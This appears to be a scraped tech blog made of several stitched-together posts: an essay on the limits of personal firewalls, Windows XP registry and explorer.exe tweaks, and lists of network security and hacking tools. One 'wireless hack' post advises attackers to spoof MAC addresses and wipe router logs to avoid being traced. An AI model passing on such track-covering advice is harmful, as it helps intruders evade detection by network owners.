The term "spyware" is a slang which is not well defined. It is commonly used mainly for various adware (and adware is a program that is supported by presenting advertisements to the user), and that during their installation process, they install an independent program which we shall call "adbot". The adbot runs independently even if the hosting adware is not running, and it maintains the advertisements, downloads them from the remote server, and provides information to the remote server. The adbot is usually hidden. There are many companies that offer adbots, and advertisements services to adware. The information that the adbots deliver to their servers from the computer where the adbot is installed, is "how much time each advertisement is shown, which was the hosting adware, and whether the user clicked on the advertisement. This is important so that the advertisements server will be able to know how much money to get from each of the advertised companies, and how much from it to deliver to each of the adware maintainers. Some of the adbots also collect other information in order to better choose the advertisements to the users. The term "spyware" is more generic, but most of the spyware fall into this category. Many types of adbots can be identified and blocked by personal firewalls.

Blocking Advertisements?
Some of the better personal firewalls can be set to block communication with specific sites. This can be used in order to prevent downloading of advertisements in web pages, and thus to accelerate the download process of the web sites. This is not a very common use of a personal firewall, though.

Preventing Communication to Tracking Sites?
Some web pages contain references to tracking sites. e.g. instruct the web browser to download a small picture (sometimes invisible) from tracking sites. Sometimes, the pictures are visible and provide some statistics about the site. Those tracking sites will try to save a small text either as a small file in a special directory, or as a line in a special file (depending on what is your browser), and your browser will usually allow the saving site to read the text that it saved on your computer. This is called "web cookies" or sometimes simply "cookies". Cookies allow a web site to keep information that it saved some time when you entered it, to be read whenever you enter the site again. This allow the web site to customize itself for you, and to keep track on everything that you did on that site. It does not have to keep that information on your computer. All it has to save on your computer is a unique identifying number, and then it can keep in the server's side information regarding what has been done by the browser that used that cookie. Yet, by this method, a web site can get only information regarding your visits in it. Some sites such as "doubleclick" or "hitbox" can collect information from various affiliated sites, by putting a small reference in the affiliated pages to some picture on their servers. When you enter one of the affiliated web pages, your browser will communicate with the tracking site, and this will allow the tracking site to put or to read a cookie that identifies your computer uniquely, and it can also know what was the web page that referred to it, and any other information that the affiliated web site wanted to deliver to the tracking site. This way tracking sites can correlate information from many affiliated sites, to build information that for example will allow them to better customize the advertisements that are put on those sites when you browse them.
Some personal firewalls can be set to block communication to tracking sites. It is not a common use of a personal firewall, though, and a personal firewall is not the best tool for that, but if you already have one, this is yet another possible use of it.

Blocking or Limiting the NetBIOS Communication? (as well as other default services)
The two common methods of intruders to break into home computers, are through a RAT (which was discussed in II.3a) and through the NetBIOS communication. The NetBIOS is a standard for naming computers in small networks, developed long ago by IBM and Microsoft. There are a few communication standards which are used in relation to the NetBIOS. The ones that are relevant for Microsoft Windows operating systems, are: NBT (NetBIOS over TCP/IP), IPX/SPX, and NetBEUI. The communication standard which is used over the Internet, is NBT. If it is enabled, and there is no firewall or something else in the middle, it means that your computer is listening for communications over the Internet via this standard, and will react according to the different NBT commands that it gets from the remote programs. It is thus that the NBT (which sometimes loosely called "NetBIOS") is acting as a server. So the next question should be "what remote NBT commands the NBT server will do on the local computer". The answer to this question depends on the specific setting on your computer. You may set your computer to allow file and print sharing. If also NBT is enabled, it means that you allow remote users to share your files or printers. This is a big problem. It is true that in principle the remote user has to know your password for that computer, but many users do not set a password for their user on Windows, or set a trivial password. Older versions of Win95 had file and print sharing over NetBIOS enabled by default. On Win98, and WinMe it was disabled by default, but many technicians, when they set a home network, they enable the file and print sharing, without being aware that it influences also the authorizations of a remote Internet user. There are even worms and viruses who use the File sharing option to spread in the Internet. Anyway, no matter whether you need it for some reason or just are not aware of it, a personal firewall can identify and block any external effort to communicate with the NetBIOS server on your computer. The more flexible personal firewalls can be set to restrict the authorization to communicate with the NetBIOS. Some Windows operating systems, especially those which are not meant for home uses, offer other public services by default, such as RPC. A firewall can identify communication efforts to them, and block them. Since such services listen to remote communications, there is a potential risk when there are efforts to exploit security holes in the programs that offer the services, if there are such security holes. A firewall may block or limit the communication to those services.

Hiding Your Computer on the Internet?
Without a firewall, on a typical computer, even if well maintained, a remote person will still be able to know that the communication effort has reached some computer, and perhaps some information about the operating system on that computer. If that computer is handled well, the remote user will not be able to get much more information from your computer, but might still be able to identify also who your ISP is, and might decide to invest further time in cracking into your computer.
With a firewall, you can set the firewall so that any communication effort from remote users (in the better firewalls you may define an exception list) will not be responded at all. This way the remote user will not be able to even know that it reached a live computer. This might discourage the remote attacker from investing further time in effort to crack into your computer.

The Non-Firewall Defenses

We've discussed a few situations where a personal firewall can provide defense. Yet, in many cases a computer maintainer can deal with those situations even without a firewall. Those "alternative" defenses, in many cases are recommended regardless of whether you use a firewall or not.

Remote Access Trojans?
The best way to defend against remote access Trojans (RATs) is to prevent them from being installed in the first place on your computer. A RAT should first infect your computer in order to start to listen to remote communication efforts. The infection techniques are very similar to the infection techniques that viruses use, and hence the defense against Trojan horses is similar to the defense against viruses. Trojan horses do not distribute themselves (although they might be companions of another Internet worm or virus that distributes them. Yet, because in most cases they do not distribute themselves, it is likely that you will get them from anonymous sources, such as instant messengers, Kazaa, IRC, or a newsgroup. adopting a suspicious policy regarding downloads from such places, will save you not only from viruses but also from getting infected with Trojan horses, including RATs. Because Trojan horses are similar in some ways to viruses, almost all antivirus programs can identify, block from being installed, and remove most of the Trojan horses, including all the common ones. There are also some programs (sometimes called antiTrojan programs) which specialize in the identification and removal of Trojan horses. For a list of those programs, and for comparison on how well different antivirus, and antiTrojan programs identify different Trojan horses, see Hackfix (http://www.hackfix.org), under "Software test results". Hackfix also has information on the more common RATS (such as the Netbus and the Subseven) and on how to remove them manually. There are some tools and web sites, such port scanners, and some ways with a use of more generic tools such as telnet, msconfig, and netstat, which may help you to identify a RAT.

Other types of Trojans and worms?
Also here your main interest should be to prevent them from infecting your computer in the first place, rather than blocking their communication. A good antivirus and a good policy regarding the prevention of virus infections, should be the first and most important defense.

Spyware and Adbots?
The term spyware is sometimes misleading. In my view, it is the responsibility of the adware developer to present the fact that the adware installation will install or use an independent adbots, and to provide the information on how this adbot communicates, and which information it delivers, in a fair place and manner before the adware is installed. It is also a responsibility to provide this information in their web sites, so that people will be aware of that before they even download the software. Yet, in general, those adbots do not pose any security threat, and in many cases also their privacy threat is negligible for many people (e.g. the computer with adbot number 1127533 has been exposed to advertisements a, b, c, such and such times, while using adware x, while on computer with adbot number 1127534 has been exposed to advertisements a,d, and e, such amount of time, with the use of adware y, and clicked on ads number d). It should be fully legitimate for software developers to offer an advertisement supported programs, and it is up to the user to decide whether the use of the program worth the ads and the adbot, or not. Preventing adbot from communicating is generally not a moral thing. If you decide to use an adware, you should pay the price of letting the adbot work. If you don't want it, please remove the adware, and only if for some reason the adbot continue to work even if no hosting adware that uses it is installed, you may remove the adbot. Anyway, there are some very useful tools to identify whether a program is a "spyware", or whether a "spyware" is installed on your computer, and you are certainly entitled to this information. Two useful programs are "AdAware" which identifies "spyware" components on your computer and allows you to remove them, and Ad-Search which allows you to provide a name of a program, and it tells you whether this program is a "spyware" and which adbot it uses. It is useful to assist you in choosing whether to install a program or not. You may find those programs in http://www.lavasoft.nu (or, if it doesn't work, you may try http://www.lavasoftusa.com). Those programs are useful, mainly because many adware developers are not fair enough to present this information in a fair manner. AdAware allows you to also remove those adbot components from your computer. This might, however, terminate your license to use the hosting adware programs, and might even cause them to stop functioning. A website which offers to check whether a specific program that you wish to install is "spyware" or not, is http://www.spychecker.com .

Blocking Advertisements?
Leaving aside the moral aspect of blocking advertisements, a personal firewall is not the best tool for that anyway. This is not the main purpose of a firewall, and neither its main strength. Some of them can block some of the advertisements from being downloaded, if you know how to configure them for that. Yet, there are better tools for that, such as Proxomitron (http://www.proxomitron.org), CookieCop 2 (search for the word cookiecop on http://www.pcmag.com), or Naviscope (http://www.naviscope.com), and there are many other programs as well. You may check for other alternatives, e.g. in Tucows (http://www.tucows.com/adkiller95.html).

Blocking Tracking Sites?
Also here, a personal firewall is not the best tool for that, and there are other tools and ways which are more effective. These are cookie utilities. Since a tracking site uses a cookie to identify and relate the information gathered to the same person (or computer), by preventing the cookie from being installed. The tracking site will lose its ability to track things. There are plenty of cookie management utilities. Some of them are freeware, and some are not. CookieCop which was mentioned in the former section is one of them. WebWasher (http://www.webwasher.com) is another recommended one, and there are plenty of other alternatives such as cookie-crusher, cookie-pal, pop-up killer, etc. You may search for other alternatives, in Tucows (http://www.tucows.com/cookie95.html).

NetBIOS and Other Services?
The NetBIOS over TCP/IP (NBT) which is sometimes loosely called "NetBIOS", is a service which has some security problems with it. It is enabled by default in Windows default installations, and it is very common to see that a firewall does the job of preventing the efforts to get access to your computer via NBT. Yet, in almost all cases, this service is not needed, and thus can be disabled. To disable NBT in Win95/98/ME is not as simple as it is in Win2K/XP, but can still be done reliably. We explain how to do this in another article (#to be written soon). It is needless to say, that if NBT is disabled, there is no need for a firewall to block communication to it. Also, in the case of other services, such as RPC services, and others, in many cases you simply don't need those services and better disable them from within Windows rather than use the firewall to block them. There are various ways to know which services are running on your computer, and which of them are listening for communications from the outside. If there are ones that you don't need, they should be disabled.

Hiding the Computer?
In web sites of many personal firewall companies, they are putting a lot of weight on the ability of their firewall to hide the computer on the Internet. Yet, exposing your home computer on the Internet is by itself, neither a security nor a privacy threat. If you provide some services to the Internet on your computer, for example, you put a web server on your computer to allow other people to view web pages, then you might get rid of some of the crackers, by setting your firewall to unhide only this type of communications. Some attackers will not make a full scan of your computer, but only a partial scan, and if they did not scan for the specific service that you provided, they will not see your computer. Yet, if the service is a common one, there is a good chance for many of them to scan it and thus find the existence of your computer. If they "see" the existence of your computer, they might decide to scan it further, and find out the services you are providing, and scan it for security holes to use. Yet, there is no much meaning to it when we speak about simple home computers.

What a Firewall Cannot Do!

Another misconception about personal firewalls is that they are incorrectly thought as if they claim to give an overall protection against "hackers" (i.e. intrusions). They are not.

Defense Against Exploitation of Security Holes
A firewall can allow or deny access to your computer or from your computer according to the type of communication, its source and destination, and according to the question which program on your computer is handling the communication. Yet, its ability to understand the details of the communication is very limited. For example, you may set the firewall to allow or to deny your e-mail program from getting and/or sending messages. It may allow or deny your web browser from browsing the Internet. But if you allowed your e-mail program to communicate with the e-mail servers for sending and receiving messages, (and you are likely to allow it if you want to use your e-mail program), or if you set the firewall to allow your web browser to communicate with web sites, the firewall will not be able to understand the content of the communication much further, and if your web browser has a security hole, and some remote site will try to exploit it, your firewall will not be able to make a distinction between the communication that exploits the security hole, and legitimate communication. The same principle goes with e-mail program. A personal firewall may block you from receiving or sending e-mail messages, but if you allowed it to receive messages, the personal firewall will not make a distinction between a legitimate message and a non-legitimate one (such as a one that carries a virus or a Trojan horse). Security holes in legitimate programs can be exploited and a personal firewall can do practically nothing about it.
I should comment, however, that some personal firewalls come combined with some Trojan horse detection, or intrusion detection. This is not part of the classical definition of a firewall, but it might be useful. Such tasks are usually taken by other tools such as antivirus programs or antiTrojan programs.

Tricks to Bypass or Disable Personal Firewalls
There are also various ways to disable, or bypass personal firewalls. During the time a few tricks to bypass or disable were demonstrated by various programs. Especially, tricks for an internal program to communicate with the outside bypassing or tricking the firewall. For some of them such as the one demonstrated by the Leaktest, and in which a non-legitimate program disguises itself as Internet Explorer, practically today, all personal firewalls are immuned. For other tricks, such as a one demonstrated by Outbound, which uses some non-standard type of communication directly to the network adapters bypassing the components of the operating system which are suppose to deal with Internet communication, and by that bypassing the firewall, are only now being patched against by the various firewalls, and yet other methods, such as the one demonstrated by Tooleaky, which uses Internet Explorer as a messenger to communicate with the outside, and is thus identified as a mere legitimate browsing, are still waiting for most of the personal firewall to find a fix.

Firewalls CANNOT Decide for You What is a Legitimate Communication and What is Not

One of the main problems with personal firewalls, is that you cannot simply install them and forget them, counting on them to do their job. They can deny or permit various types of communications according to some criteria, but what is this criteria, and who decides what is the criteria for whether they should permit or deny some communication?

The answer, is that it is the computer user's job to define the exact criteria when the firewall should allow a communication and when it should block it. The firewall may make it easier for you, but it should not take the decisions. There are too many programs, too many versions, and it is not possible for the firewall to decide accurately when a communication is legitimate and when it is not. One person might think that it is legitimate for some program to deliver some information to the outside in order to get some service, while another will think that it is not. One version of a program might communicate with its home server in order to check whether there is an upgrade, and another version might also install the upgrade even if you do not wish. Some firewalls will try to identify communication efforts which are largely considered as legitimate, and will let you the information so that it will be easier for you to decide whether such should be allowed. Others will suffice with more basic information, making no suggestions (and thus - no incorrect recommendations). One way or another, once you installed a firewall, you will have better means to understand what types of communications are running on your computer, but you will also have to understand them in order to be able to configure your firewall so that it will correctly know which communications to allow and which to block.

Common Problems and Deficiencies Regarding Personal Firewalls

A personal firewall might be a good contribution to security. Yet, if you do not understand much about the topic, then you are likely to be confused and misled by its alerts and queries, and thus find yourself spending hours in chasing after imaginary crackers, fear from imaginary threats, and misconfigure it due to misunderstanding. You may find yourself blocking legitimate and important communication believing it to be cracking efforts, and thus surprised to see why things work slowly or why you are disconnected from the Internet, or you might be misled to allow a non-legitimate communication by some software that tricked you to believe that it is a legitimate one. On the other side, if you are quite knowledgeable on computers and security, then you are likely to effectively defend your computer even without a firewall (by means discussed in section II.4) and it is thus that the role of personal firewall in securing your computer, is extremely small and not much important. We discuss here in brief some of the problems that personal firewalls may generate.

A False Sense of Security

As we've already learned here, a firewall is limited in its ability to secure your computer. Yet, many people believe that if they will install a personal firewall they will be secured against the various security threats. I was even surprised to find out that there are people who believe that give much higher priority in installing a personal firewall than in installing an antivirus program. An always updated antivirus program plays a much more important role in the security of a personal home computer than installing and maintaining a personal firewall. A personal firewall should not come on account of any other security measure that you use.

A False Sense of Insecurity

When you install a firewall and you look at all the communication efforts through it, you might be surprised at the amount of communication efforts from the Internet to your computer. Most of them are blocked by a typically configured firewall. There are all the times efforts to try to communicate with various backdoor Trojans on your computers. If you are not infected, there will be nothing to listen and to respond to those communication efforts, and they are thus practically harmless. There are efforts to communicate with your NBT driver, to see if your computer by mistake allows file sharing. There are other types of probes to see if your computer exists, or various efforts of servers to probe your computer in order to find the best path for legitimate communication to it. There are sometimes remnants of communications that were supposed to go to other computers, but made their way to yours (for advanced readers: because the IP number that your computer uses, were used by some other computer earlier). Those communication efforts are blocked even without a firewall. If your computer is not infected with a RAT, and if your computer don't have NetBIOS over TCP/IP enabled or even it does not have file and print sharing enabled (and on most computers this is disabled by default), then none of these pose any security threat. If your computer is not infected with a SubSeven Trojan, then no matter how often there will be efforts to communicate with it, they are all doomed to be failed.
Yet, some personal firewall (such as Norton Personal Firewall or ZoneAlarm) by default proudly announce that they have just blocked an effort to crack into your computer. Norton may even define those efforts that were blocked as "high security threats" while they were not a threat at all even if your computer didn't have a personal firewall at all. Such firewalls give you the false impression that they save your computer again and again from extremely dangerous threats on the Internet, so that you wonder how did you survive so much time without noticing any intrusion before you installed the firewall. I usually say, that those personal firewalls are set their "report level" to "promotional mode". Namely, the personal firewall is set to give you the false impression that it is much more important than it really is.

Chasing After Ghosts

This is a side effect of the types of misunderstandings that were discussed in the previous subsection.
When a person who starts to learn about the jargon related to personal firewalls, is reported that some "dangerous" communication efforts persist from the same source, the person is decisive to locate and identify the "hacker", and perhaps report about it to the police or to its Internet service provider. However, since many people do not really understand thoroughly how things work, they may sometimes spend many hours in trying to locate a cracker that does not exist, or when the knowledge they need to have, in order to track the cracker, is much higher than what they have, and they might even suspect the wrong person due to lack of knowledge (e.g. the connection person on the Internet service provider that was used by the cracker). More knowledgeable people, usually do not bother to track those "hackers" (which are usually teenagers), but instead are concentrating on the security of their computer.

Blocking Legitimate Communications

No personal firewall is smart enough to decide for the user what is a legitimate communication and what is not. A personal firewall cannot make a distinction between a legitimate program trying to contact its server to check and notify the user when there is a newer version, and a non-legitimate program trying to communicate with its server in order deliver sensitive information such as passwords, unless the user tells it. It is thus up to the user to decide what should be considered as legitimate and what should not. Yet, can we count on the user to be knowledgeable enough to decide what is legitimate and what is not? In many cases the user is not knowledgeable enough, and may thus allow non-legitimate communication or disallow a legitimate and important communication. There are many types of communications handled just to manage other communications. Among this are various types of communications between your computer and the various servers of your Internet service provider. A not knowledgeable user may interpret those types of communications as cracking efforts, and will thus decide to block them. As a result, a connection might become slower, a connection to the Internet service provider might be disconnected quiet often and other types of communication problems.

Being Tricked by Trojans bbb

Just as less knowledgeable users may instruct the firewall to block legitimate communications, they can be tricked by various Trojans to allow them to communicate. Some Trojans are using names resembling or identical to names of legitimate programs, so that the user would think that it is a legitimate programs. Users should be aware of that.

Heavy Software, Buggy Software

Until now we discussed only problems related to lack of appropriate knowledge by the user. Yet, there are other problems regarding personal firewalls. For example, some of them are known to be quite heavy on computer resources, or slow down the communication speed. Different personal firewalls quite vary with regard to that. If you have a new computer with a slow Internet communication (such as regular dial-up networking) then it might not slow down your computer noticeably. Yet, if you use an older computer, and a fast communication, you might find that some personal firewalls will slow down your communication quite drastically. Personal firewalls also vary on how much they are stable.

Advantages of External Firewalls over Personal Firewalls

1. They do not take resources from the computer. This should be clear. This is especially useful when the firewall blocks flooding attacks.
2. It is harder (although in principle still possible) for a Trojan horse to disable it, because it does not reside in the same computer that the Trojan has infected. It is not possible to use the specific communication while totally bypassing the firewall.
3. They can be used without any dependence on the operating system on the computer(s) they defend.
4. No instability problems.

Change Text on XP Start Button

2012-03-18T05:03:00.001-07:00

Step 1 - Modify Explorer.exe File

In order to make the changes, the file explorer.exe located at C:\Windows needs to be edited. Since explorer.exe is a binary file it requires a special editor. For purposes of this article I have used Resource Hacker. Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Microsoft Windows 95/98/ME, Windows NT, Windows 2000 and Windows XP operating systems.

get this from h**p://delphi.icm.edu.pl/ftp/tools/ResHack.zip

The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe.

The category we are going to be using is "String Table". Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button.

There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry. In my case I used Click Me!

You’ll notice that after the new text string has been entered the Compile Script button that was grayed out is now active. I won’t get into what’s involved in compiling a script, but suffice it to say it’s going to make this exercise worthwhile. Click Compile Script and then save the altered file using the Save As command on the File Menu. Do not use the Save command – Make sure to use the Save As command and choose a name for the file. Save the newly named file to C:\Windows.

Step 2 – Modify the Registry

!!!make a backup of your registry before making changes!!!

Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open field. Navigate to:

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon

In the right pane, double click the "Shell" entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.[/b]

How To Remove and Add Right-Click Menu Items from Files and Folders

2012-03-18T05:00:00.001-07:00

How To Remove and Add Right-Click Menu Items from Files and Folders

Removing Items

A lot of programs you install will add themselves to the right-click menu of your files and/or folders. And most times, you have no choice in the matter and, as a result, your right-click menu can get very long with added items you don't even use. The last person I was helping with this had a right context menu so long that the Rename option was no longer visible!

Fortunately, you can easily remove those unwanted menu items, if you know the registry values to edit. And it's not at all difficult once you know the keys responsible for the additions.

For Files, the secret lies in the "context menu handlers" under the shellex subkey for "All Files" which, in the registry, is nothing but an asterisk - like a dos wildcard, which means the values entered apply to all files. It is at the very top of the Root key, right here:

HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers

Click the the + sign next to the ContextMenuHandlers key, to expand it.
Now you will see some of the programs that have added items to your right-click menu. Simply delete the program keys you don't want.
Yup! It's that simple. If deleting makes you uneasy, just export the key before deleting it. Or, instead of deleting the values, disable them. Simply double click the default value for the program on the right hand pane and rename the clsid value by placing a period or dash in front of it.

ie; - {b5eedee0-c06e-11cf-8c56-444553540000}

Then exit the registry, refresh, and right click a file to see if the item was removed from the menu.
Some programs - like WinZip or WinRar - will add several items to your right click menu but all of them will be removed by deleting or disabling their one context menu handler.

Note that the above key only applies to the right click menu of files.
To remove entries from the right click context menu of folders, you need to navigate to the Folder and Drive keys:

HKEY_CLASSES_ROOT\Folder\shellex\ContextMenuHandlers
HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandlers

All you have to do is follow the same procedure as for Files - either disable or delete items you wish to remove.

Adding Items

Adding Items to the right click menu of Files and Folders is also fairly simple using the Registry. It just involves the creation of a few new keys for each item you wish to add. You edit the same keys used for removing items. Let's use Notepad as an example of an item you'd like to add to the right click menu of all your files or folders.

For folders, go to this key:

HKEY_CLASSES_ROOT\Folder

Click the + sign next to Folder and expand it so that the Shell key is visible. Right click the Shell key and choose New>Key and name the key Notepad or whatever else you'd prefer (whatever the key is named is what will appear in the right-click menu). Now right click the new key you made and create another key named Command. Then, in the right hand pane, double click "Default" and enter Notepad.exe as the value.
Exit the registry, refresh, and right click any folder. Notepad should now be on the context menu.

For files, go here again:

HKEY_CLASSES_ROOT\*

Expand the * key and see if a Shell key exists. If it does exist, follow the same procedure as for folders. If it does not exist, you'll have to create a new Shell first. Just right click the * key and choose New>Key and name it Shell. Then right click the Shell key and continue on the same way you did for adding items to the right click menu of folders.

Once done, Notepad should appear as an option in the right click menu of all your files.

2012-03-15T14:11:00.000-07:00

Nessus	The "Nessus" Project aims to provide to the internet community a free, powerful, up-to-date and easy to use remote security scanner for Linux, BSD, Solaris, and other flavors of Unix.
Ethereal	Ethereal is a free network protocol analyzer for Unix and Windows. Ethereal has several powerful features, including a rich display filter language and the ability to view the reconstructed stream of a TCP session.
Snort	Snort is an open source network intrusion detection system, capable of performing real-time traffic analysis and packet logging on IP networks.
Netcat	Netcat has been dubbed the network swiss army knife. It is a simple Unix utility which reads and writes data across network connections, using TCP or UDP protocol
TCPdump	TCPdump is the most used network sniffer/analyzer for UNIX. TCPTrace analyzes the dump file format generated by TCPdump and other applications.
Hping	Hping is a command-line oriented TCP/IP packet assembler/analyzer, kind of like the “ping” program (but with a lot of extensions).
DNSiff	DNSiff is a collection of tools for network auditing and penetration testing. dsniff, filesnarf, mailsnarf, msgsnarf, urlsnarf, and webspy passively monitor a network for interesting data (passwords, e-mail, files, etc.).
GFI LANguard	GFI LANguard Network Security Scanner (N.S.S.) automatically scans your entire network, IP by IP, and plays the devil's advocate alerting you to security vulnerabilities.
Ettercap	Ettercap is a multipurpose sniffer/interceptor/logger for switched LAN. It supports active and passive dissection of many protocols (even ciphered ones)and includes many feature for network and host analysis.
Nikto	Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 2500 potentially dangerous files/CGIs, versions on over 375 servers, and version specific problems on over 230 servers.
John the Ripper	John the Ripper is a fast password cracker, currently available for many flavors of Unix.
OpenSSH	OpenSSH is a FREE version of the SSH protocol suite of network connectivity tools, which encrypts all traffic (including passwords) to effectively eliminate eavesdropping, connection hijacking, and other network-level attacks.
TripWire	Tripwire is a tool that can be used for data and program integrity assurance.
Kismet	Kismet is an 802.11 wireless network sniffer - this is different from a normal network sniffer (such as Ethereal or tcpdump) because it separates and identifies different wireless networks in the area.
NetFilter	NetFilter and iptables are the framework inside the Linux 2.4.x kernel which enables packet filtering, network address translation (NAT) and other packetmangling.
IP Filter	IP Filter is a software package that can be used to provide network address translation (NAT) or firewall services.

fport	fport identifys all open TCP/IP and UDP ports and maps them to the owning application.
SAINT	SAINT network vulnerability assessment scanner detects vulnerabilities in your network's security before they can be exploited.
OpenPGP	OpenPGP is a non-proprietary protocol for encrypting email using public key cryptography. It is based on PGP as originally developed by Phil Zimmermann.

some useful links

2012-03-15T13:38:00.001-07:00

www.howtogeek.com

www.wikipedia.org

http://msdn.microsoft.com

http://thewindowsclub.com

http://www.regedit.com

http://www.pcworld.com

http://lifehacker.com

http://www.sevenforms.com
http://en.wikipedia.org/wiki/Hacker
http://en.wikipedia.org/wiki/Hacker_(computer_security)

http://thehackernews.com/
http://www.whatismyipaddress.com

wirless hack

2012-03-15T13:18:00.000-07:00

Wireshark

On September midweek wireshark has been listed as most important open source program which can help a network Administrator for the windows platform. It is available for all platforms including Mac OS and Linux. The windows version works with ease and can help you to perfectly determine all the loop holes in your wireless network. In short, you can count it as something which can provide you better security if used under ethical aspect and it can be lethal if used for ethical means. All manuals and working principles are provide with the program.

Kismet

A very simple yet effective program to find hidden wireless networks. There is nothing that a network admin can do to hide wireless channel from this program.It can easily identify802.11n,802.11g, 802.11a, and 802.11b channels. All one can do is to provide a tough encryption (wep + wpa) so that the network is hard to break in. Though there are tools which can break it as well if cunningly exploited.

Network Miner

It is a very rarely used tool but I loved the way it functions. Many professional users are very much aware of it but wont easily share it up with all. It was developed as Forensic Analytic tool for Netresec, but every ethical tool has been blended to work for unethical purpose by hackers.

It supports a lot of features including Geo IP localization, command line scripting and OS fingerprinting. There are two version available for this tool – Free and Professional. A little bit of digging in Google can help you find a full version.

Net Stumbler

A very old program and I guess the development has been discontinued after 2009. You can download the program form the official website. The best thing about this program is that it can help you with many things under one graphical user interface. Though it is not as much as efficient as the other tools listed in here but it is a good starter kit for beginners.

It was very popularly used for war driving during the last part of the decade. The tool is not much lethal for modern day encryption but it is definitely competent enough to challenge the wireless network.

Yersinia

The current version supports Cisco VTP DoS exploit. It is best suited to find some major flaws in the network protocol and rectify/exploit them. It is used by many ethical hackers to test the deployed network architecture. It can be used to test and compromise DHCP, Inter-switch Link protocol and VLAN Trunking protocol. If you are serious about learning the steps of wireless hacking, this tool can definitely be your helping and learning guide.

Nmap

Network Mapper is an open source program available under GPL. It was designed as security auditor and later implemented by many hackers for reverse engineering purpose. The basic steps are very easy to understand and it can be a good tool to carry out post process tasks after carrying out the wireless attack. It has a bunch of versatile functions and almost all of the functions can be easily used by any starter to pro hacker.

Air Snort

If there is any tool which can be used to test and penetrate any wireless network, we are definitely talking about Air Snort. It can sniff fragments of packets from the wireless channel and can easily arrange them to break the hash key to compromise the network. The only protection from this tool is to change your Authentication key frequently and manage an access list for granting the access permission.

How to clear Log files and Cache after the Attack

Wireless hacking tools are easy to download and implement but you might become a victim if a trace back is done. To ensure that you are always protected from ping back do remember to implement these feel safe steps:

Change You MAC address before you start testing/ exploiting any network.
Do not use or surf sites which can help identify your where about.
Do not use Gmail, yahoo or any such sites which requires user-name, password.
Clear all temporary file and cookies after you are done testing/ exploiting wireless networks.
Clear all logs from the router settings by simply clearing them from the router settings. Different routers have different settings for storing log files. You will have to manually scan all the features to find this thing.
Use Log deleter to ease your trouble.
Follow the rules and regulations defined in your country and stay out of trouble.

Some people might find this article as negatively inclined, but in this field of ethics and exploitation you must learn what evil steps are so that you can counterfeit them to build a more secure network. Be curious, be wise.

Security/Hacking Tools and Utilities

2012-03-15T13:15:00.003-07:00

1. Nmap

I think everyone has heard of this one, recently evolved into the 4.x series.

Nmap (”Network Mapper”) is a free open source utility for network exploration or security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs on most types of computers and both console and graphical versions are available. Nmap is free and open source.

Can be used by beginners (-sT) or by pros alike (–packet_trace). A very versatile tool, once you fully understand the results.

2. Nessus Remote Security Scanner

Recently went closed source, but is still essentially free. Works with a client-server framework.

Nessus is the world’s most popular vulnerability scanner used in over 75,000 organizations world-wide. Many of the world’s largest organizations are realizing significant cost savings by using Nessus to audit business-critical enterprise devices and applications.

Get Nessus Here

3. John the Ripper

John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix flavors, supported out of the box are Kerberos AFS and Windows NT/2000/XP/2003 LM hashes, plus several more with contributed patches.

You can get JTR Here

4. Nikto

Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 3200 potentially dangerous files/CGIs, versions on over 625 servers, and version specific problems on over 230 servers. Scan items and plugins are frequently updated and can be automatically updated (if desired).

Nikto is a good CGI scanner, there are some other tools that go well with Nikto (focus on http fingerprinting or Google hacking/info gathering etc, another article for just those).

Get Nikto Here

5. SuperScan

Powerful TCP port scanner, pinger, resolver. SuperScan 4 is an update of the highly popular Windows port scanning tool, SuperScan.

If you need an alternative for nmap on Windows with a decent interface, I suggest you check this out, it’s pretty nice.

Get SuperScan Here

6. p0f

P0f v2 is a versatile passive OS fingerprinting tool. P0f can identify the operating system on:

- machines that connect to your box (SYN mode),
- machines you connect to (SYN+ACK mode),
- machine you cannot connect to (RST+ mode),
- machines whose communications you can observe.

Basically it can fingerprint anything, just by listening, it doesn’t make ANY active connections to the target machine.

7. Wireshark (Formely Ethereal)

Wireshark is a GTK+-based network protocol analyzer, or sniffer, that lets you capture and interactively browse the contents of network frames. The goal of the project is to create a commercial-quality analyzer for Unix and to give Wireshark features that are missing from closed-source sniffers.

Works great on both Linux and Windows (with a GUI), easy to use and can reconstruct TCP/IP Streams! Will do a tutorial on Wireshark later.

8. Yersinia

Yersinia is a network tool designed to take advantage of some weakeness in different Layer 2 protocols. It pretends to be a solid framework for analyzing and testing the deployed networks and systems. Currently, the following network protocols are implemented: Spanning Tree Protocol (STP), Cisco Discovery Protocol (CDP), Dynamic Trunking Protocol (DTP), Dynamic Host Configuration Protocol (DHCP), Hot Standby Router Protocol (HSRP), IEEE 802.1q, Inter-Switch Link Protocol (ISL), VLAN Trunking Protocol (VTP).

New Tools In The Top list

2012-03-15T13:14:00.000-07:00

Metasploit Framework

Paros Proxy

